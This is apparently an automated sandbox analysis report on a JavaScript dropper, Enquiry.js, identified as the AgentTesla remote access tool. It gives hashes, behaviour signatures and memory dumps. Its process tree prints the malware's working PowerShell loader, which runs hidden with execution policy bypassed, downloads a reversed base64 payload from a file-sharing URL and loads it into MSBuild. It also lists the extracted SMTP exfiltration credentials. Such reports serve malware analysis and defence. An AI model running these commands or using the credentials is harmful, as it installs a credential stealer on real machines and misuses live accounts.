Analysis

  • max time kernel
    119s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-11-2024 12:44

General

  • Target

    Enquiry.js

  • Size

    225KB

  • MD5

    90480a98c3f20658dcc43fa6db7bd562

  • SHA1

    1a379838129904188cd08ffe9c645a5daba3bea5

  • SHA256

    7c9332df56fc0061fc832475af43d1c94636a5f8710011b3952dc98716f20899

  • SHA512

    05f8c16e4ec8af3939a7fea5b8e4adde852ba00e5b0513aedaad7afeaf556741094fff75681bdbe070e3de62fc9f3c76939271c004a4bf308e38ea20126b611d

  • SSDEEP

    6144:C2KZgSq+QdBA5gC/2KZgSq+QdR2KZgSq+QdBA5gC/2KZgSq+Qdt:C2KZgSq+QdBA5gC/2KZgSq+QdR2KZgSm

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://1016.filemail.com/api/file/get?filekey=0RUgbZ-8FbUsLkmTHKk7vmioQRpHGD8qVMkgf-v_Yna_Wu4TdrJepse70JUd-j9UMfry&pk_vid=e0109638c9bfb9571732794374a1ff6c

exe.dropper

https://1016.filemail.com/api/file/get?filekey=0RUgbZ-8FbUsLkmTHKk7vmioQRpHGD8qVMkgf-v_Yna_Wu4TdrJepse70JUd-j9UMfry&pk_vid=e0109638c9bfb9571732794374a1ff6c

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    mail.detarcoopmedical.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    To$zL%?nhDHN

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Enquiry.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $pedantice = 'JABkAGkAcwB0AHUAcgBiAGEAcgAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwAxADAAMQA2AC4AZgBpAGwAZQBtAGEAaQBsAC4AYwBvAG0ALwBhAHAAaQAvAGYAaQBsAGUALwBnAGUAdAA/AGYAaQBsAGUAawBlAHkAPQAwAFIAVQBnAGIAWgAtADgARgBiAFUAcwBMAGsAbQBUAEgASwBrADcAdgBtAGkAbwBRAFIAcABIAEcARAA4AHEAVgBNAGsAZwBmAC0AdgBfAFkAbgBhAF8AVwB1ADQAVABkAHIASgBlAHAAcwBlADcAMABKAFUAZAAtAGoAOQBVAE0AZgByAHkAJgBwAGsAXwB2AGkAZAA9AGUAMAAxADAAOQA2ADMAOABjADkAYgBmAGIAOQA1ADcAMQA3ADMAMgA3ADkANAAzADcANABhADEAZgBmADYAYwAgACcAOwAkAGcAdQBpAG4AZABhAGwAZQB0AGEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAbAB1AGkAcgAgAD0AIAAkAGcAdQBpA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gB1AG4AYQBkAG8AJwAsACcAJABlAG4AZgB1AG4AYQBkAG8AJwAsACcAJABlAG4AZgB1AG4AYQBkAG8AJwAsACcAJABlAG4AZgB1AG4AYQBkAG8AJwAsACcAJABlAG4AZgB1AG4AYQBkAG8AJwAsACcAMQAnACwAJwAkAGUAbgBmAHUAbgBhAGQAbwAnACkAKQA7AA==';$torvamento = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($pedantice));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $torvamento
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1096
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$disturbar = 'https://1016.filemail.com/api/file/get?filekey=0RUgbZ-8FbUsLkmTHKk7vmioQRpHGD8qVMkgf-v_Yna_Wu4TdrJepse70JUd-j9UMfry&pk_vid=e0109638c9bfb9571732794374a1ff6c ';$guindaleta = New-Object System.Net.WebClient;$luir = $guindaleta.DownloadData($disturbar);$psyllo = [System.Text.Encoding]::UTF8.GetString($luir);$apetibilidade = '<<BASE64_START>>';$avincu = '<<BASE64_END>>';$gorducho = $psyllo.IndexOf($apetibilidade);$arapinga = $psyllo.IndexOf($avincu);$gorducho -ge 0 -and $arapinga -gt $gorducho;$gorducho += $apetibilidade.Length;$perissologia = $arapinga - $gorducho;$methodicamente = $psyllo.Substring($gorducho, $perissologia);$corrido = -join ($methodicamente.ToCharArray() | ForEach-Object { $_ })[-1..-($methodicamente.Length)];$talim = [System.Convert]::FromBase64String($corrido);$oirada = [System.Reflection.Assembly]::Load($talim);$pecha = [dnlib.IO.Home].GetMethod('VAI');$pecha.Invoke($null, @('txt.882/elif/rt.moc.ayakilreyahlat//:sptth', '$enfunado', '$enfunado', '$enfunado', 'MSBuild', '$enfunado', '$enfunado','$enfunado','$enfunado','$enfunado','$enfunado','$enfunado','1','$enfunado'));"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2000
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3676

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    5caad758326454b5788ec35315c4c304

    SHA1

    3aef8dba8042662a7fcf97e51047dc636b4d4724

    SHA256

    83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

    SHA512

    4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_svvifceg.p4r.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1096-12-0x00007FFFF36C0000-0x00007FFFF4181000-memory.dmp

    Filesize

    10.8MB

  • memory/1096-30-0x00007FFFF36C0000-0x00007FFFF4181000-memory.dmp

    Filesize

    10.8MB

  • memory/1096-22-0x00007FFFF36C0000-0x00007FFFF4181000-memory.dmp

    Filesize

    10.8MB

  • memory/1096-0-0x00007FFFF36C3000-0x00007FFFF36C5000-memory.dmp

    Filesize

    8KB

  • memory/1096-11-0x00007FFFF36C0000-0x00007FFFF4181000-memory.dmp

    Filesize

    10.8MB

  • memory/1096-10-0x00000213BCF80000-0x00000213BCFA2000-memory.dmp

    Filesize

    136KB

  • memory/2000-23-0x00000201DC390000-0x00000201DC4E8000-memory.dmp

    Filesize

    1.3MB

  • memory/3676-24-0x0000000000400000-0x0000000000442000-memory.dmp

    Filesize

    264KB

  • memory/3676-31-0x0000000005D80000-0x0000000006324000-memory.dmp

    Filesize

    5.6MB

  • memory/3676-32-0x0000000005700000-0x0000000005766000-memory.dmp

    Filesize

    408KB

  • memory/3676-33-0x0000000006AA0000-0x0000000006AF0000-memory.dmp

    Filesize

    320KB

  • memory/3676-34-0x0000000006B90000-0x0000000006C2C000-memory.dmp

    Filesize

    624KB

  • memory/3676-35-0x0000000006DD0000-0x0000000006E62000-memory.dmp

    Filesize

    584KB

  • memory/3676-36-0x0000000006DA0000-0x0000000006DAA000-memory.dmp

    Filesize

    40KB